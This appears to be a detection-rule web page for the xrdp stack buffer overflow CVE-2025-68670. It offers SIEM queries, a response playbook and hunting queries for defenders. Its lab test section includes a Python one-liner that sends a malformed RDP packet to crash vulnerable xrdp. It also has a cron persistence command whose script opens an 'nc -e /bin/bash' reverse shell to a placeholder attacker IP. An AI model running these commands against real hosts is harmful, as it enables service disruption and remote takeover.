CVE-2025-68670

xrdp Unauthenticated Stack Buffer Overflow via RDP Connection Sequence (CVE-2025-68670)

Initial Access Execution Last updated:

CVE-2025-68670 is a critical unauthenticated stack buffer overflow (CWE-121) in xrdp versions prior to 0.10.5. During the RDP connection sequence, a remote unauthenticated attacker can send a specially crafted packet that overflows a stack buffer, potentially enabling remote code execution as the xrdp process user. CVSS 9.1. A public PoC exists. Patch to xrdp >= 0.10.5 immediately.

Vulnerability Intelligence

Public PoC

CVSS

9.1
Critical (9.0–10)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Write-up coming soon

What is CVE-2025-68670 xrdp Unauthenticated Stack Buffer Overflow via RDP Connection Sequence (CVE-2025-68670)?

xrdp Unauthenticated Stack Buffer Overflow via RDP Connection Sequence (CVE-2025-68670) (CVE-2025-68670) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for xrdp Unauthenticated Stack Buffer Overflow via RDP Connection Sequence (CVE-2025-68670), covering the data sources and telemetry it touches: DeviceNetworkEvents, Syslog, SecurityEvent. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution
Microsoft Sentinel / Defender
kusto
union
  (
    DeviceNetworkEvents
    | where RemotePort == 3389 or LocalPort == 3389
    | where ActionType in ("InboundConnectionAccepted", "ConnectionSuccess")
    | project TimeGenerated, DeviceName, LocalIP, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine
  ),
  (
    Syslog
    | where ProcessName has "xrdp"
    | where SyslogMessage has_any ("error", "segfault", "stack", "overflow", "crash", "core dumped", "fatal", "abort")
    | project TimeGenerated, Computer, ProcessName, SyslogMessage
  ),
  (
    SecurityEvent
    | where EventID in (4624, 4625)
    | where LogonType == 10
    | project TimeGenerated, Computer, Account, IpAddress, LogonType, Status, SubStatus
  )
| where TimeGenerated >= ago(24h)
| sort by TimeGenerated desc

Detects potential exploitation of CVE-2025-68670 by correlating inbound RDP connections on port 3389 with xrdp process crash/error logs and RDP logon events. Anomalous connection patterns from external IPs followed by xrdp errors strongly indicate exploitation attempts.

critical severity medium confidence

Data Sources

DeviceNetworkEvents Syslog SecurityEvent

Required Tables

DeviceNetworkEvents Syslog SecurityEvent

False Positives

  • Legitimate RDP connections from administrators or remote workers triggering benign xrdp log noise
  • System resource pressure causing xrdp crashes unrelated to exploitation
  • Automated vulnerability scanners performing RDP fingerprinting
  • Misconfigured RDP clients sending malformed handshake packets

Sigma rule & cross-platform mapping

The detection logic for xrdp Unauthenticated Stack Buffer Overflow via RDP Connection Sequence (CVE-2025-68670) (CVE-2025-68670) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1xrdp Version Enumeration via RDP Banner Grab

    Expected signal: Network connection event to port 3389 from scanning host; xrdp access log entry for the probe connection.

  2. Test 2Malformed RDP X.224 PDU Fuzzing (PoC Simulation)

    Expected signal: xrdp crash log entry (SIGSEGV/SIGABRT/stack smashing detected) in /var/log/xrdp.log; core dump if ulimit -c unlimited is set; network connection event from test host to port 3389.

  3. Test 3Post-Exploitation Persistence Check (Simulated RCE Artifact)

    Expected signal: Auditd events for crontab modification by xrdp user; file creation event in /tmp for .xrdp_persist; process execution telemetry showing crontab -r invoked by non-interactive xrdp session.


Response Playbook

Triage

  1. Identify all Linux hosts running xrdp with version < 0.10.5 using asset inventory or a package query (dpkg -l xrdp or rpm -qa xrdp). Prioritize internet-exposed hosts.
  2. Review /var/log/syslog, /var/log/xrdp.log, and /var/log/xrdp-sesman.log on potentially affected hosts for crash indicators: segfault, SIGSEGV, SIGABRT, stack smashing detected, core dumped within the alert window.
  3. Correlate the source IP(s) from alert with threat intel feeds. Check for prior scanning, known exploit infrastructure, or recent CVE-2025-68670 PoC activity.
  4. Determine if a core dump was written (check /var/crash or ulimit -c settings). If present, preserve immediately for forensic analysis — it may contain attacker shellcode.
  5. Check for any new or unexpected user accounts, SSH authorized_keys modifications, or cron entries added around the time of the xrdp crash — these are post-exploitation indicators.

Containment

  1. If exploitation is confirmed or highly suspected: immediately isolate the host from the network (block port 3389 inbound at the firewall/security group level, or power-isolate the VM). Do not power off if volatile memory collection is needed.
  2. Block the attacker source IP(s) at the perimeter firewall and update WAF/IDS rules to drop malformed RDP pre-authentication traffic from unknown sources. Apply emergency xrdp patch (upgrade to >= 0.10.5) on all remaining exposed hosts.

Evidence Collection

  1. Collect volatile memory image from affected host (LiME kernel module or equivalent) before any remediation. Prioritize if xrdp is still running — stack state may reveal payload.
  2. Capture full xrdp log files (/var/log/xrdp.log, /var/log/xrdp-sesman.log), any core dump files, /etc/passwd, /etc/shadow (hashes), ~/.ssh/authorized_keys for all users, crontab -l output, and the output of 'last', 'lastb', 'who', and 'ss -tlnp' at time of incident.

Escalation Criteria

  • ! Escalate to IR team immediately if: post-exploitation activity is observed (new accounts, backdoors, lateral movement, data exfiltration), or if more than one host shows concurrent exploitation indicators.
  • ! Escalate to CISO/leadership if the affected host is in a PCI, HIPAA, or SOC 2 scope environment, or if the attacker achieved confirmed RCE (evidence: reverse shell, unexpected outbound connections, dropped files in /tmp or /dev/shm).

Investigation Guide

Forensic Artifacts

  • > Core dump files in /var/crash, /tmp, or current working directory of xrdp process (check /proc/<pid>/cwd before process dies)
  • > xrdp log entries showing abnormal disconnection, malformed packet handling, or crash stack traces in /var/log/xrdp.log
  • > Network PCAP of pre-authentication RDP handshake from attacking IP (specifically the X.224 Connection Request PDU and Client MCS Connect Initial PDU sequence)
  • > Filesystem modifications in /tmp, /dev/shm, or home directories around the time of the crash indicating dropped payloads
  • > Audit log entries from auditd (if configured) for xrdp process file writes, execve calls, or socket operations post-crash

Tuning Guidance

This detection will generate noise in environments where xrdp is used heavily for legitimate remote administration. To reduce false positives: (1) Baseline normal xrdp crash frequency per host and alert only on deviations; (2) Restrict the detection to hosts where xrdp is known to be internet-exposed rather than LAN-only; (3) Add a source IP allowlist for known admin IP ranges to suppress benign RDP sessions; (4) After patching to xrdp >= 0.10.5, this alert should be retired or converted to a compliance check detecting unpatched xrdp instances.


Hunting Queries

Hunt for xrdp crash patterns across all Linux hosts over the past 7 days to identify hosts that may have been targeted or successfully exploited before alerting was in place.

Hunting — KQL
kql
Syslog
| where ProcessName has "xrdp"
| where TimeGenerated >= ago(7d)
| summarize crash_count=countif(SyslogMessage has_any ("segfault", "SIGSEGV", "SIGABRT", "core dumped", "stack smashing")),
           error_count=countif(SyslogMessage has "error"),
           total_events=count()
  by Computer, bin(TimeGenerated, 1h)
| where crash_count > 0
| order by crash_count desc
Hunting — SPL
spl
index=linux_logs sourcetype=syslog process=xrdp*
| eval crash=if(match(_raw, "(?i)(segfault|SIGSEGV|SIGABRT|core dumped|stack smashing)"), 1, 0)
| timechart span=1h sum(crash) as crashes by host
| where crashes > 0

Atomic Red Team Tests

Test 1 xrdp Version Enumeration via RDP Banner Grab
linux

Enumerate the xrdp version on a target host to confirm whether it is running a vulnerable version (< 0.10.5) without sending exploit payload.

Command

bash
nmap -sV -p 3389 --script rdp-enum-encryption <TARGET_IP> 2>/dev/null | grep -i 'xrdp\|version\|rdp'

Cleanup

bash
No cleanup required — read-only scan.

Expected Telemetry

Network connection event to port 3389 from scanning host; xrdp access log entry for the probe connection.

Expected Detection

DeviceNetworkEvents or Syslog entry showing inbound RDP probe; may not trigger crash-based detection but confirms target identification phase.

Test 2 Malformed RDP X.224 PDU Fuzzing (PoC Simulation)
linux

Send an oversized/malformed X.224 Connection Request PDU to xrdp to trigger the stack buffer overflow condition in a lab environment. Requires xrdp < 0.10.5 on the target.

Command

bash
python3 -c "
import socket, struct
# Oversized X.224 COTP Connection Request with padding to overflow stack buffer
rdp_neg = b'\x03\x00' + struct.pack('>H', 300) + b'\xe0\x00\x00\x00\x00\x00' + b'\x41' * 280
s = socket.socket()
s.connect(('<TARGET_IP>', 3389))
s.send(rdp_neg)
print('Sent malformed PDU, response:', s.recv(1024).hex())
s.close()
"

Cleanup

bash
Restart xrdp service on lab target: sudo systemctl restart xrdp

Expected Telemetry

xrdp crash log entry (SIGSEGV/SIGABRT/stack smashing detected) in /var/log/xrdp.log; core dump if ulimit -c unlimited is set; network connection event from test host to port 3389.

Expected Detection

Sequence detection rule fires: inbound RDP connection followed by xrdp abnormal process termination within 2 minutes.

Test 3 Post-Exploitation Persistence Check (Simulated RCE Artifact)
linux

Simulate post-exploitation artifact creation that would follow a successful CVE-2025-68670 RCE — write a backdoor script and add a cron entry as the xrdp process user to test detection of persistence mechanisms.

Command

bash
sudo -u xrdp bash -c 'echo "* * * * * /tmp/.xrdp_persist" | crontab -; echo "#!/bin/bash\nnc -e /bin/bash <ATTACKER_IP> 4444 &" > /tmp/.xrdp_persist; chmod +x /tmp/.xrdp_persist'

Cleanup

bash
sudo -u xrdp crontab -r; rm -f /tmp/.xrdp_persist

Expected Telemetry

Auditd events for crontab modification by xrdp user; file creation event in /tmp for .xrdp_persist; process execution telemetry showing crontab -r invoked by non-interactive xrdp session.

Expected Detection

Anomaly detection on cron modification by service account (xrdp user) and suspicious file write to /tmp with execute permissions — escalation indicator in playbook triggered.

Related Detections